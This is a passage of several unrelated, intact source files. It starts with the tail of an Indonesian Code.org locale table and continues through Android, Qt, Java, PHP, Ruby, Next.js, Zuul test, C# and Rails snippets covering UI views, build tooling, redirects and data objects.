"setSpriteGhost":function(d){return "menjadi gambar hantu"},
"setSpriteHidden":function(d){return "untuk gambar yang tersembunyi"},
"setSpriteHideK1":function(d){return "Sembunyikan"},
"setSpriteAnna":function(d){return "Ke gambar Anna"},
"setSpriteElsa":function(d){return "ke gambar Elsa"},
"setSpriteHiro":function(d){return "atur gambar Hiro"},
"setSpriteBaymax":function(d){return "atur gambar Baymax"},
"setSpriteRapunzel":function(d){return "atur Gambar Rapunzel"},
"setSpriteKnight":function(d){return "menjadi gambar knight"},
"setSpriteMonster":function(d){return "menjadi gambar raksasa"},
"setSpriteNinja":function(d){return "menjadi gambar ninja bertopeng"},
"setSpriteOctopus":function(d){return "ke gambar gurita"},
"setSpritePenguin":function(d){return "menjadi gambar pinguin"},
"setSpritePirate":function(d){return "menjadi gambar bajak laut"},
"setSpritePrincess":function(d){return "menjadi gambar putri"},
"setSpriteRandom":function(d){return "untuk gambar yang acak"},
"setSpriteRobot":function(d){return "menjadi gambar robot"},
"setSpriteShowK1":function(d){return "tampilkan "},
"setSpriteSpacebot":function(d){return "menjadi gambar robot luar angkasa"},
"setSpriteSoccerGirl":function(d){return "menjadi gambar gadis sepakbola"},
"setSpriteSoccerBoy":function(d){return "menjadi gambar laki-laki sepakbola"},
"setSpriteSquirrel":function(d){return "untuk ke gambar tupai"},
"setSpriteTennisGirl":function(d){return "menjadi gambar perempuan tenis"},
"setSpriteTennisBoy":function(d){return "menjadi gambar laki-laki tenis"},
"setSpriteUnicorn":function(d){return "menjadi gambar unicorn"},
"setSpriteWitch":function(d){return "menjadi gambar penyihir"},
"setSpriteWizard":function(d){return "untuk ke gambar penyihir"},
"setSpritePositionTooltip":function(d){return "gerakkan langsung aktor ke tempat yang ditentukan"},
"setSpriteK1Tooltip":function(d){return "tampilkan atau sembunyikan aktor tertentu"},
"setSpriteTooltip":function(d){return "atur gambar aktor"},
"setSpriteSizeRandom":function(d){return "untuk ukuran acak"},
"setSpriteSizeVerySmall":function(d){return "untuk ukuran sangat kecil"},
"setSpriteSizeSmall":function(d){return "untuk ukuran kecil"},
"setSpriteSizeNormal":function(d){return "untuk ukuran normal"},
"setSpriteSizeLarge":function(d){return "untuk ukuran besar"},
"setSpriteSizeVeryLarge":function(d){return "untuk ukuran sangat besar"},
"setSpriteSizeTooltip":function(d){return "Sekumpulan ukuran aktor"},
"setSpriteSpeedRandom":function(d){return "untuk kecepatan acak"},
"setSpriteSpeedVerySlow":function(d){return "untuk kecepatan sangat lambat"},
"setSpriteSpeedSlow":function(d){return "untuk kecepatan lambat"},
"setSpriteSpeedNormal":function(d){return "untuk kecepatan normal"},
"setSpriteSpeedFast":function(d){return "untuk kecepatan tinggi"},
"setSpriteSpeedVeryFast":function(d){return "untuk kecepatan sangat cepat"},
"setSpriteSpeedTooltip":function(d){return "atur kecepatan aktor"},
"setSpriteZombie":function(d){return "menjadi gambar zombie"},
"shareStudioTwitter":function(d){return "Periksalah cerita saya dibuat. Saya menulis itu sendiri dengan @codeorg"},
"shareGame":function(d){return "Berbagi cerita Anda:"},
"showCoordinates":function(d){return "tampilkan koordinat"},
"showCoordinatesTooltip":function(d){return "tampilkan koordinat pemeran utama pada layar"},
"showTitleScreen":function(d){return "Tampilkan layar judul"},
"showTitleScreenTitle":function(d){return "judul"},
"showTitleScreenText":function(d){return "teks"},
"showTSDefTitle":function(d){return "Ketik Judul Disini"},
"showTSDefText":function(d){return "Ketik teks disini"},
"showTitleScreenTooltip":function(d){return "Tampilkan layar judul dengan judul dan teks terkait."},
"size":function(d){return "ukuran"},
"setSprite":function(d){return "tetapkan"},
"setSpriteN":function(d){return "pasang aktor\n"},
"soundCrunch":function(d){return "menjongkok"},
"soundGoal1":function(d){return "tujuan 1"},
"soundGoal2":function(d){return "tujuan 2"},
"soundHit":function(d){return "kenai"},
"soundLosePoint":function(d){return "poin kekalahan"},
"soundLosePoint2":function(d){return "poin kekalahan 2"},
"soundRetro":function(d){return "retro"},
"soundRubber":function(d){return "karet"},
"soundSlap":function(d){return "tampar"},
"soundWinPoint":function(d){return "poin menang"},
"soundWinPoint2":function(d){return "poin menang 2"},
"soundWood":function(d){return "kayu"},
"speed":function(d){return "kecepatan"},
"startSetValue":function(d){return "start (fungsi)"},
"startSetVars":function(d){return "game_vars (judul, subjudul, latar belakang, target, bahaya, pemain)"},
"startSetFuncs":function(d){return "game_funcs (update-sasaran, update-bahaya, update-player, bertabrakan?, layar?)"},
"stopSprite":function(d){return "Stop"},
"stopSpriteN":function(d){return "berhentikan aktor"},
"stopTooltip":function(d){return "hentikan gerakan seorang pemeran."},
"throwSprite":function(d){return "Lempar"},
"throwSpriteN":function(d){return "aktor tersebut melempar"},
"throwTooltip":function(d){return "melempar sebuah objek ke aktor tertentu"},
"vanish":function(d){return "menghilang"},
"vanishActorN":function(d){return "menghilangkan aktor "+studio_locale.v(d,"spriteIndex")},
"vanishTooltip":function(d){return "Lenyapkan aktor."},
"waitFor":function(d){return "menunggu untuk"},
"waitSeconds":function(d){return "detik"},
"waitForClick":function(d){return "menunggu untuk klik"},
"waitForRandom":function(d){return "tunggu untuk sesuai yang acak"},
"waitForHalfSecond":function(d){return "tunggu untuk setengah detik"},
"waitFor1Second":function(d){return "tunggu 1 detik"},
"waitFor2Seconds":function(d){return "tunggu 2 detik"},
"waitFor5Seconds":function(d){return "tunggu selama 5 detik"},
"waitFor10Seconds":function(d){return "tunggu selama 10 detik"},
"waitParamsTooltip":function(d){return "tunggu sampai angka tertentu, atau gunakan angka nol sampai suatu klik terjadi"},
"waitTooltip":function(d){return "tunggu untuk waktu yang tertentu atau tunggu sampai suatu klik terjadi."},
"whenArrowDown":function(d){return "panah kebawah"},
"whenArrowLeft":function(d){return "panah kekiri"},
"whenArrowRight":function(d){return "panah kekanan"},
"whenArrowUp":function(d){return "panah keatas"},
"whenArrowTooltip":function(d){return "Lakukan aksi dibawah ini ketika panah yang tertentu sudah terpencet"},
"whenDown":function(d){return "ketika panah bawah"},
"whenDownTooltip":function(d){return "Laksanakan tindakan-tindakan di bawah ini ketika tombol panah kebawah ditekan."},
"whenGameStarts":function(d){return "Ketika cerita dimulai"},
"whenGameStartsTooltip":function(d){return "Melaksanakan tindakan-tindakan di bawah ini ketika cerita dimulai."},
"whenLeft":function(d){return "Ketika anak panah kiri"},
"whenLeftTooltip":function(d){return "Laksanakan tindakan-tindakan di bawah ini ketika tombol panah kiri ditekan."},
"whenRight":function(d){return "ketika anak panah kanan"},
"whenRightTooltip":function(d){return "Laksanakan tindakan-tindakan di bawah ini ketika tombol panah kanan ditekan."},
"whenSpriteClicked":function(d){return "ketika aktor meng-klik"},
"whenSpriteClickedN":function(d){return "ketika aktor klik"},
"whenSpriteClickedTooltip":function(d){return "Laksanakan tindakan di bawah ini ketika aktor sudah di klik"},
"whenSpriteCollidedN":function(d){return "ketika aktor"},
"whenSpriteCollidedTooltip":function(d){return "Lakukan kegiatan di bawah ketika seorang aktor menyentuh aktor lainnya"},
"whenSpriteCollidedWith":function(d){return "menyentuh"},
"whenSpriteCollidedWithAnyActor":function(d){return "sentuh aktor apa saja"},
"whenSpriteCollidedWithAnyEdge":function(d){return "sentuh tepi apa saja"},
"whenSpriteCollidedWithAnyProjectile":function(d){return "sentuh proyektil apa saja"},
"whenSpriteCollidedWithAnything":function(d){return "sentuh apa saja"},
"whenSpriteCollidedWithN":function(d){return "menyentuh aktor"},
"whenSpriteCollidedWithBlueFireball":function(d){return "menyentuh bola api biru"},
"whenSpriteCollidedWithPurpleFireball":function(d){return "menyentuh bola api ungu"},
"whenSpriteCollidedWithRedFireball":function(d){return "menyentuh bola api merah"},
"whenSpriteCollidedWithYellowHearts":function(d){return "menyentuh bola api kuning"},
"whenSpriteCollidedWithPurpleHearts":function(d){return "menyentuh bola api ungu"},
"whenSpriteCollidedWithRedHearts":function(d){return "menyentuh bola api merah"},
"whenSpriteCollidedWithBottomEdge":function(d){return "menyentuh ujung bawah"},
"whenSpriteCollidedWithLeftEdge":function(d){return "menyentuh ujung kiri"},
"whenSpriteCollidedWithRightEdge":function(d){return "menyentuh ujung kanan"},
"whenSpriteCollidedWithTopEdge":function(d){return "menyentuh ujung atas"},
"whenUp":function(d){return "ketika anak panah atas"},
"whenUpTooltip":function(d){return "Laksanakan tindakan-tindakan di bawah ini ketika tombol panah keatas ditekan."},
"yes":function(d){return "Ya"}};


text:
package fr.tvbarthel.apps.cameracolorpicker.views;

import android.animation.ObjectAnimator;
import android.annotation.TargetApi;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.RectF;
import android.os.Build;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.View;

import java.util.ArrayList;
import java.util.List;

import fr.tvbarthel.apps.cameracolorpicker.data.ColorItem;
import fr.tvbarthel.apps.cameracolorpicker.data.Palette;

/**
 * A {@link View} for creating {@link Palette}s.
 *

 * You can add {@link ColorItem} using {@link PaletteMakerView#addColor(ColorItem)}.
 * You can remove the last added {@link ColorItem} using {@link PaletteMakerView#removeLastColor()}.
 * You can call {@link PaletteMakerView#make(String)} to create the {@link Palette} with the {@link ColorItem} you added.
 */
public class PaletteMakerView extends View {

    /**
     * The name of the property used for animating the width of the items.
     */
    private static final String PROPERTY_NAME_ITEM_WIDTH = "itemWidth";

    /**
     * The default duration of the animation of the item width.
     */
    private static final int DEFAULT_ITEM_WIDTH_ANIMATION_DURATION = 300;

    /**
     * A {@link List} of the {@link ColorItem}s choose by the user to make a new {@link Palette}.
     */
    private List<ColorItem> mColorItems;

    /**
     * The width of each items.
     */
    private float mItemWidth;

    /**
     * A {@link RectF} used for drawing the color items.
     */
    private RectF mRectF;

    /**
     * An {@link ObjectAnimator} used for animating the width of the items.
     */
    private ObjectAnimator mItemWidthAnimator;

    /**
     * A {@link Paint} used for drawing the items.
     */
    private Paint mItemPaint;

    /**
     * The last size of {@link PaletteMakerView#mColorItems}.
     */
    private int mLastSize;

    public PaletteMakerView(Context context) {
        super(context);
        init();
    }

    public PaletteMakerView(Context context, AttributeSet attrs) {
        super(context, attrs);
        init();
    }

    public PaletteMakerView(Context context, AttributeSet attrs, int defStyleAttr) {
        super(context, attrs, defStyleAttr);
        init();
    }

    @TargetApi(Build.VERSION_CODES.LOLLIPOP)
    public PaletteMakerView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
        super(context, attrs, defStyleAttr, defStyleRes);
        init();
    }

    /**
     * Add a {@link ColorItem} to the {@link List} of {@link ColorItem}s that will be used to make the {@link Palette}.
     *
     * @param colorItem the {@link ColorItem} to add.
     */
    public void addColor(ColorItem colorItem) {
        if (colorItem == null) {
            throw new IllegalArgumentException("Color item can't be null.");
        }

        mLastSize = mColorItems.size();
        mColorItems.add(colorItem);
        animateItemWidth();
    }

    /**
     * Remove the last added {@link ColorItem} from the {@link List} of {@link ColorItem}s that will be used to make the {@link Palette}.
     *
     * @return the {@link ColorItem} that was removed, or null if no {@link ColorItem}s were removed.
     */
    @Nullable
    public ColorItem removeLastColor() {
        if (mColorItems.isEmpty()) {
            return null;
        }

        mLastSize = mColorItems.size();
        final ColorItem colorItemRemoved = mColorItems.remove(mColorItems.size() - 1);
        animateItemWidth();
        return colorItemRemoved;
    }

    /**
     * Check if there is any {@link ColorItem}s added to this {@link PaletteMakerView}.
     *
     * @return Returns true is there is a least one {@link ColorItem} added, false otherwise.
     */
    public boolean isEmpty() {
        return mColorItems.isEmpty();
    }

    /**
     * Get the number of {@link ColorItem}s added to this {@link PaletteMakerView}.
     *
     * @return the number of {@link ColorItem}s added.
     */
    public int size() {
        return mColorItems.size();
    }

    /**
     * Make a {@link Palette} with the {@link ColorItem}s that were added.
     *
     * @param name the name of the {@link Palette} to make.
     * @return the newly created {@link Palette}.
     */
    public Palette make(String name) {
        return new Palette(name, mColorItems);
    }

    @Override
    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
        super.onMeasure(widthMeasureSpec, heightMeasureSpec);

        mRectF.bottom = getMeasuredHeight();

        if (mColorItems.isEmpty()) {
            mItemWidth = 0f;
        } else {
            mItemWidth = getMeasuredWidth() / (float) mColorItems.size();
        }
    }

    @Override
    protected void onDraw(Canvas canvas) {
        super.onDraw(canvas);
        if (!mColorItems.isEmpty()) {
            if (mColorItems.size() == 1) {
                // There is only one item to draw.
                // If the last size was greater, then we draw the item from the left.
                // Else we draw the item from the right.
                if (mLastSize > mColorItems.size()) {
                    mRectF.left = 0;
                    mRectF.right = mItemWidth;
                } else {
                    mRectF.right = getMeasuredWidth();
                    mRectF.left = mRectF.right - mItemWidth;
                }

                final ColorItem colorItem = mColorItems.get(0);
                mItemPaint.setColor(colorItem.getColor());
                canvas.drawRect(mRectF, mItemPaint);
            } else {
                // There are more than one item to draw.
                // We draw each items except the last one with the same width: mItemWidth.
                // The last item takes the extra space.
                final int size = mColorItems.size() - 1;
                mRectF.left = 0;
                mRectF.right = mItemWidth;

                for (int i = 0; i < size; i++) {
                    final ColorItem colorItem = mColorItems.get(i);
                    mItemPaint.setColor(colorItem.getColor());
                    canvas.drawRect(mRectF, mItemPaint);

                    mRectF.left = mRectF.right;
                    mRectF.right = mRectF.left + mItemWidth;
                }

                final ColorItem lastColorItem = mColorItems.get(size);
                mItemPaint.setColor(lastColorItem.getColor());
                mRectF.right = getMeasuredWidth();
                canvas.drawRect(mRectF, mItemPaint);
            }
        }

    }

    /**
     * Animate the width of the items.
     */
    private void animateItemWidth() {
        float newItemWidth;

        if (mColorItems.isEmpty()) {
            newItemWidth = 0f;
        } else {
            newItemWidth = getMeasuredWidth() / (float) mColorItems.size();
        }

        if (mItemWidthAnimator.isRunning()) {
            mItemWidthAnimator.cancel();
        }

        mItemWidthAnimator.setFloatValues(mItemWidth, newItemWidth);
        mItemWidthAnimator.start();
    }

    /**
     * Initialize this {@link PaletteMakerView}.
     *

     * Must be called once in each constructor.
     */
    private void init() {
        mRectF = new RectF();
        mItemWidthAnimator = ObjectAnimator.ofFloat(this, PROPERTY_NAME_ITEM_WIDTH, 0f, 1f)
                .setDuration(DEFAULT_ITEM_WIDTH_ANIMATION_DURATION);
        mItemPaint = new Paint();
        mItemPaint.setStyle(Paint.Style.FILL);
        mColorItems = new ArrayList<>();
    }

    /**
     * The setters used by {@link PaletteMakerView#mItemWidthAnimator} to animate the width of the items.
     *
     * @param itemWidth the width of the items.
     */
    @SuppressWarnings("unused")
    private void setItemWidth(float itemWidth) {
        mItemWidth = itemWidth;
        invalidate();
    }
}


text:
CCexBox::CCexBox(QWidget *parent) :
    QDialog(parent),
    ui(new Ui::CCexBox)
{
    ui->setupUi(this);

    QWebSettings *settings = QWebSettings::globalSettings();
	settings->setAttribute (QWebSettings::PluginsEnabled, true);
    ui->webView->load(QUrl("https://c-cex.com"));
    QWebView* webViewChild = new QWebView;
    webViewChild->settings()->setAttribute(QWebSettings::PluginsEnabled, true);
}

CCexBox::~CCexBox()
{
    delete ui;
}


text:
public class EmployeeClient
{
	public static void main(String[] args)
	{
		Manager m = new Manager("Bill", 10101, 35, 150000, "Manager", "Management", 3);
		Employee e1 = new Employee("Joe", 12563, 24, 75000, "Customer Service", "Sales");
		Employee e2 = new Employee("Bob", 35678, 28, 70000, "Sales Rep", "Sales");
		Employee e3 = new Employee("Steve", 90323, 23, 87000, "Accountant", "Accounting");

		System.out.println(m);
		System.out.println(e1);
		System.out.println(e2);
		System.out.println(e3);
		m.addEmployee(e1);
		System.out.println(m);
		m.removeEmployee(12563);
		System.out.println(m);
		m.addEmployee(e2);
		m.addEmployee(e3);
		m.addEmployee(e1);
		System.out.println(m);
		e1.changeSalary(10000);
		e2.changeSalary(1.05);
		e3.changeSalary(.78);
		System.out.println(e1);
		System.out.println(e2);
		System.out.println(e3);
	}
}


text:
package com.mapswithme.maps.routing;

import androidx.annotation.DrawableRes;

import com.mapswithme.maps.R;

public enum TransitStepType
{
  // A specific icon for different intermediate points is calculated dynamically in TransitStepView.
  INTERMEDIATE_POINT(R.drawable.ic_24px_route_point_a),
  PEDESTRIAN(R.drawable.ic_20px_route_planning_walk),
  SUBWAY(R.drawable.ic_20px_route_planning_metro),
  TRAIN(R.drawable.ic_20px_route_planning_train),
  LIGHT_RAIL(R.drawable.ic_20px_route_planning_lightrail),
  MONORAIL(R.drawable.ic_20px_route_planning_monorail);

  @DrawableRes
  private final int mDrawable;

  TransitStepType(@DrawableRes int drawable)
  {
    mDrawable = drawable;
  }

  @DrawableRes
  public int getDrawable()
  {
    return mDrawable;
  }
}


text:
<?php

namespace GreenCape\Robo\Common;

use GreenCape\Robo\Task\Base;
use GreenCape\Robo\Task\QA\Options;
use Robo\Common\CommandArguments;
use Robo\Common\TaskIO;
use Robo\Contract\CommandInterface;
use Robo\Result;
use Robo\Task\Base\Exec;

/**
 * Class ShellCommand
 *
 * @package GreenCape\Robo\Task\QA
 */
class ShellCommand extends Base implements CommandInterface
{
    use TaskIO;
    use CommandArguments;

    /** @var string Name of the shell command. */
    protected $binary;

    /** @var string Option separator, usually '=' or ' '. Defaults to '='. */
    protected $optionSeparator;

    /** @var string Option to force version output, defaults to '--version'. */
    protected $versionOption;

    /**
     * ShellCommand constructor.
     *
     * @param string $binary          Name of the shell command.
     * @param string $optionSeparator Option separator, usually '=' or ' '. Defaults to '='.
     * @param string $versionOption   Option to force version output, defaults to '--version'.
     */
    public function __construct($binary, $optionSeparator = '=', $versionOption = '--version')
    {
        $this->binary          = $binary;
        $this->optionSeparator = $optionSeparator;
        $this->versionOption   = $versionOption;
    }

    /**
     * Returns command that can be executed.
     * This method is used to pass generated command from one task to another.
     *
     * @return string
     */
    public function getCommand()
    {
        return trim($this->binary . $this->arguments);
    }

    /**
     * Pass option to executable.
     * Options are prefixed with `--`, value can be provided in second parameter
     *
     * @param string $option The option name
     * @param string $value  The option value
     *
     * @return $this
     */
    public function option($option, $value = null)
    {
        if (!empty($option) && $option[0] != '-') {
            $option = "--$option";
        }
        $argument = array_filter([$option, $value]);
        if (!empty($argument)) {
            $this->arguments .= ' ' . implode($this->optionSeparator, $argument);
        }

        return $this;
    }

    /**
     * Pass multiple options to executable.
     *
     * @param Options|array $options A list of options
     *
     * @return $this
     */
    public function options($options)
    {
        if (($options instanceof Options)) {
            throw new \LogicException(get_class($this) . ' must handle Option object');
        }

        foreach ((array)$options as $arg => $value) {
            if (is_int($arg)) {
                $this->option(null, $value);
            } elseif (!empty($value)) {
                $this->option($arg, $value);
            } else {
                $this->option($arg);
            }
        }

        return $this;
    }

    /**
     * Run the command with the version option.
     *
     * @return Result
     */
    public function version()
    {
        return (new Exec($this->binary))
            ->arg($this->versionOption)
            ->run();
    }

    /**
     * Run the command with the current options.
     */
    public function run()
    {
        $this->doRun(new Exec($this->getCommand()), sprintf('Running <info>%s</info>', $this->getCommand()), [
            'verbose' => false,
            'quiet' => false,
            'ignoreErrors' => false,
        ]);
    }

    /**
     * Remove the current argument list.
     *
     * @return $this
     */
    public function resetArgs()
    {
        $this->arguments = '';

        return $this;
    }
}


text:
require 'rack'
require 'rack/request'
require 'ipaddr'

module Rack
  # Rack::WWW
  class WWW
    def initialize(app, options = {})
      @options = { subdomain: 'www' }.merge(options)
      @app = app

      @redirect = !@options[:www].nil? ? @options[:www] : true
      @message = @options[:message]
      @subdomain = @options[:subdomain]
      @host_regex = @options[:host_regex] || /.+/i
      @predicate = @options[:predicate]
    end

    def call(env)
      if redirect?(env)
        redirect(env)
      else
        @app.call(env)
      end
    end

    private

    def redirect(env)
      url = prepare_url(env)
      headers = { 'Content-Type' => 'text/html', 'location' => url }

      if @message.respond_to?(:each)
        message = @message
      else
        message = [@message || '']
      end
      [301, headers, message]
    end

    def redirect?(env)
      predicate?(env) && change_subdomain?(env) && !ip_request?(env) &&
        matches_host?(env)
    end

    def predicate?(env)
      if @predicate
        @predicate.call env
      else
        true
      end
    end

    def change_subdomain?(env)
      @redirect && !already_subdomain?(env) ||
        !@redirect && already_subdomain?(env)
    end

    def ip_request?(env)
      IPAddr.new(env['SERVER_NAME'].to_s
        .gsub(/^(#{@subdomain}\.)/, '')
        .gsub(/^(www\.)/, ''))
    rescue IPAddr::InvalidAddressError
      false
    end

    def already_subdomain?(env)
      env['HTTP_HOST'].to_s.downcase =~ /^(#{@subdomain}\.)/
    end

    def matches_host?(env)
      env['HTTP_HOST'].to_s.downcase =~ @host_regex
    end

    def prepare_url(env)
      scheme = env['rack.url_scheme']
      host, port, path, query_string = extract_host(env)

      if @redirect == true
        host = "://#{@subdomain}." + host
      else
        host = '://' + host
      end

      "#{scheme}#{host}#{port}#{path}#{query_string}"
    end

    def extract_host(env)
      [env['SERVER_NAME'].to_s.gsub(/^(#{@subdomain}\.|www\.)/, ''),
       %w(80 443).include?(env['SERVER_PORT']) ? '' : ":#{env['SERVER_PORT']}",
       env['PATH_INFO'],
       env['QUERY_STRING'].empty? ? '' : '?' + env['QUERY_STRING'].to_s]
    end
  end
end


text:
export async function getServerSideProps() {
  return {
    props: {
      idk: 'oops',
    },
  }
}

export default () => 'hi'


text:
package com.netflix.zuul.netty.server;

import static org.junit.jupiter.api.Assertions.assertNotNull;

import com.netflix.netty.common.SourceAddressChannelHandler;
import com.netflix.netty.common.channel.config.ChannelConfig;
import com.netflix.netty.common.channel.config.CommonChannelConfigKeys;
import com.netflix.netty.common.metrics.PerEventLoopMetricsChannelHandler;
import com.netflix.netty.common.proxyprotocol.ElbProxyProtocolChannelHandler;
import com.netflix.netty.common.throttle.MaxInboundConnectionsHandler;
import com.netflix.spectator.api.NoopRegistry;
import com.netflix.zuul.netty.insights.ServerStateHandler;
import com.netflix.zuul.netty.ratelimiting.NullChannelHandlerProvider;
import io.netty.channel.Channel;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.channel.group.ChannelGroup;
import io.netty.channel.group.DefaultChannelGroup;
import io.netty.util.concurrent.GlobalEventExecutor;
import org.junit.jupiter.api.Test;

/**
 * Unit tests for {@link BaseZuulChannelInitializer}.
 */
public class BaseZuulChannelInitializerTest {

    @Test
    void tcpHandlersAdded() {
        ChannelConfig channelConfig = new ChannelConfig();
        ChannelConfig channelDependencies = new ChannelConfig();
        channelDependencies.set(ZuulDependencyKeys.registry, new NoopRegistry());
        channelDependencies.set(
                ZuulDependencyKeys.rateLimitingChannelHandlerProvider, new NullChannelHandlerProvider());
        channelDependencies.set(
                ZuulDependencyKeys.sslClientCertCheckChannelHandlerProvider, new NullChannelHandlerProvider());
        ChannelGroup channelGroup = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);
        BaseZuulChannelInitializer init =
                new BaseZuulChannelInitializer("1234", channelConfig, channelDependencies, channelGroup) {

                    @Override
                    protected void initChannel(Channel ch) {
                    }
                };
        EmbeddedChannel channel = new EmbeddedChannel();

        init.addTcpRelatedHandlers(channel.pipeline());

        assertNotNull(channel.pipeline().context(SourceAddressChannelHandler.class));
        assertNotNull(channel.pipeline().context(PerEventLoopMetricsChannelHandler.Connections.class));
        assertNotNull(channel.pipeline().context(ElbProxyProtocolChannelHandler.NAME));
        assertNotNull(channel.pipeline().context(MaxInboundConnectionsHandler.class));
    }

    @Test
    void tcpHandlersAdded_withProxyProtocol() {
        ChannelConfig channelConfig = new ChannelConfig();
        channelConfig.set(CommonChannelConfigKeys.withProxyProtocol, true);
        ChannelConfig channelDependencies = new ChannelConfig();
        channelDependencies.set(ZuulDependencyKeys.registry, new NoopRegistry());
        channelDependencies.set(
                ZuulDependencyKeys.rateLimitingChannelHandlerProvider, new NullChannelHandlerProvider());
        channelDependencies.set(
                ZuulDependencyKeys.sslClientCertCheckChannelHandlerProvider, new NullChannelHandlerProvider());
        ChannelGroup channelGroup = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);
        BaseZuulChannelInitializer init =
                new BaseZuulChannelInitializer("1234", channelConfig, channelDependencies, channelGroup) {

                    @Override
                    protected void initChannel(Channel ch) {
                    }
                };
        EmbeddedChannel channel = new EmbeddedChannel();

        init.addTcpRelatedHandlers(channel.pipeline());

        assertNotNull(channel.pipeline().context(SourceAddressChannelHandler.class));
        assertNotNull(channel.pipeline().context(PerEventLoopMetricsChannelHandler.Connections.class));
        assertNotNull(channel.pipeline().context(ElbProxyProtocolChannelHandler.NAME));
        assertNotNull(channel.pipeline().context(MaxInboundConnectionsHandler.class));
    }

    @Test
    void serverStateHandlerAdded() {
        ChannelConfig channelConfig = new ChannelConfig();
        ChannelConfig channelDependencies = new ChannelConfig();
        channelDependencies.set(ZuulDependencyKeys.registry, new NoopRegistry());
        channelDependencies.set(
                ZuulDependencyKeys.rateLimitingChannelHandlerProvider, new NullChannelHandlerProvider());
        channelDependencies.set(
                ZuulDependencyKeys.sslClientCertCheckChannelHandlerProvider, new NullChannelHandlerProvider());

        ChannelGroup channelGroup = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);
        BaseZuulChannelInitializer init =
                new BaseZuulChannelInitializer("1234", channelConfig, channelDependencies, channelGroup) {

                    @Override
                    protected void initChannel(Channel ch) {
                    }
                };
        EmbeddedChannel channel = new EmbeddedChannel();

        init.addPassportHandler(channel.pipeline());

        assertNotNull(channel.pipeline().context(ServerStateHandler.InboundHandler.class));
        assertNotNull(channel.pipeline().context(ServerStateHandler.OutboundHandler.class));

    }
}


text:
using System;
using System.Collections.Generic;
using System.Text;
using DBlog.Data;
using NHibernate;

namespace DBlog.TransitData
{
    public enum TransitLoginRole
    {
        Unknown,
        Guest,
        Administrator
    };

    public class TransitLogin : TransitObject
    {
        private string mName;

        public string Name
        {
            get
            {
                return mName;
            }
            set
            {
                mName = value;
            }
        }

        private string mEmail;

        public string Email
        {
            get
            {
                return mEmail;
            }
            set
            {
                mEmail = value;
            }
        }

        private TransitLoginRole mRole = TransitLoginRole.Unknown;

        public TransitLoginRole Role
        {
            get
            {
                return mRole;
            }
            set
            {
                mRole = value;
            }
        }

        private string mUsername;

        public string Username
        {
            get
            {
                return mUsername;
            }
            set
            {
                mUsername = value;
            }
        }

        private string mPassword;

        public string Password
        {
            get
            {
                return mPassword;
            }
            set
            {
                mPassword = value;
            }
        }

        private string mWebsite;

        public string Website
        {
            get
            {
                return mWebsite;
            }
            set
            {
                mWebsite = value;
            }
        }

        public TransitLogin()
        {

        }

        public TransitLogin(DBlog.Data.Login o)
            : base(o.Id)
        {
            Email = o.Email;
            Name = o.Name;
            Password = o.Password;
            Username = o.Username;
            Website = o.Website;
            Role = (TransitLoginRole) Enum.Parse(typeof(TransitLoginRole), o.Role);
        }

        public Login GetLogin(ISession session)
        {
            Login login = (Id != 0) ? (Login) session.Load(typeof(Login), Id) : new Login();
            login.Name = Name;
            login.Email = Email;
            if (login.Password != Password)
            {
                // update password, not current password hash
                login.Password = ManagedLogin.GetPasswordHash(Password);
            }
            login.Role = Role.ToString();
            login.Username = Username;
            login.Website = Website;
            return login;
        }

        public bool IsAdministrator
        {
            get
            {
                return mRole == TransitLoginRole.Administrator;
            }
        }
    }
}


text:
define(['shared/gw_common'], function (GW) {
    return {
        visible: function(params) { return true; },
        describe: function(params) {
            return '!LOC:Activates the Tech to build artillery structures.';
        },
        summarize: function(params) {
            return '!LOC:Artillery Tech';
        },
        icon: function(params) {
            return 'coui://ui/main/game/galactic_war/gw_play/img/tech/gwc_artillery.png';
        },
        audio: function (parms) {
            return {
                found: '/VO/Computer/gw/board_tech_available_artillery'
            }
        },
        getContext: function (galaxy) {
            return {
                totalSize: galaxy.stars().length
            };
        },
        deal: function (system, context, inventory) {
            var chance = 0;
            if( !inventory.hasCard('gwc_start_artillery') )
            {
                chance = 100;
            }
            return { chance: chance };

        },
        buff: function(inventory, params) {
            inventory.addUnits([
                '/pa/units/land/artillery_long/artillery_long.json',
                '/pa/units/land/artillery_short/artillery_short.json',
                '/pa/units/land/artillery_unit_launcher/artillery_unit_launcher.json'
            ]);
        },
        dull: function(inventory) {
        }
    };
});


text:
class DescriptionsController < ApplicationController
  def destroy
    @description = Descriptions.find(params[:id])
    @description.destroy
    render nothing: true, status: 200, content_type: "text/html"
  end
end